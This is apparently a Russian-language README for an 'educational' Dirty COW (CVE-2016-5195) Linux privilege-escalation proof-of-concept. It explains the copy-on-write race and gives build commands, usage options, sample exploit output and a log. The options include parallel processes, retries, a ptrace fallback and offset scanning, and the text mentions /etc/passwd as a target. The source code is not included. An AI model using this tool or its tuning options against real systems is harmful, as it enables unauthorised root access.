
Образовательный PoC для Dirty COW (CVE-2016-5195) с ведением журнала, запасным вариантом ptrace и поддержкой бинарных полезных нагрузок.
Этот код предназначен ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Любое вредоносное использование строго запрещено и противозаконно.
Dirty COW (CVE-2016-5195) — это уязвимость повышения привилегий в ядре Linux, которая использует состояние гонки в механизме копирования при записи (COW). Эта уязвимость затрагивает ядра Linux начиная с версии 2.6.22 (выпущенной в 2007 году) до версий:
Уязвимость возникает в системе управления памятью ядра:
MAP_PRIVATE, изменения должны создавать приватную копию.madvise(MADV_DONTNEED) и записью в /proc/self/mem./etc/passwd.НИКОГДА не запускайте это на рабочих системах или системах, которые вам не принадлежат!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
| Параметр | Описание | По умолчанию | Макс |
|---|---|---|---|
-t <file> | Путь к целевому файлу | /tmp/dirty_cow_test | - |
-p <payload> | Произвольная текстовая нагрузка | Тестовая строка | - |
-f <file> | Загрузить бинарную нагрузку из файла | - | - |
-i <num> | Количество итераций | 10,000,000 | 100,000,000 |
-n <num> | Количество параллельных процессов | 1 | 8 |
-r <num> | Количество попыток повторения | 1 | 10 |
-P | Использовать ptrace вместо /proc/self/mem | Отключено | - |
-D | Включить динамическое сканирование смещений | Отключено | - |
-v | Подробный вывод | Отключено | - |
-l <file> | Путь к файлу журнала | exploit_log.txt | - |
-h | Показать справку | - | - |
/proc/self/mem (по умолчанию)ptrace(PTRACE_POKETEXT) для ограниченных системСканирует несколько смещений в памяти, чтобы найти наилучшую позицию для записи:
./main -D -v # Enable dynamic offset scanning
Запуск нескольких процессов для интенсивных состояний гонки:
./main -n 4 # Use 4 parallel processes
Загрузка произвольных бинарных данных из файлов:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Автоматический повтор неудачных попыток:
./main -r 5 # Retry up to 5 times
Использует хэширование SHA-256 для проверки изменений файлов:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
Инструмент создает подробные журналы в exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
Эксплойт работает, создавая гонку между двумя операциями:
madvise(MADV_DONTNEED) — сообщает ядру отбросить страницы памяти/proc/self/mem — попытка записи в отображаемую памятьMAP_PRIVATEКогда состояние гонки срабатывает:
1. "Эксплойт не удался или недостаточно итераций"
-i или используйте несколько процессов -n2. "Ошибка доступа к /proc/self/mem"
-P3. "Система может быть не уязвима"
uname -r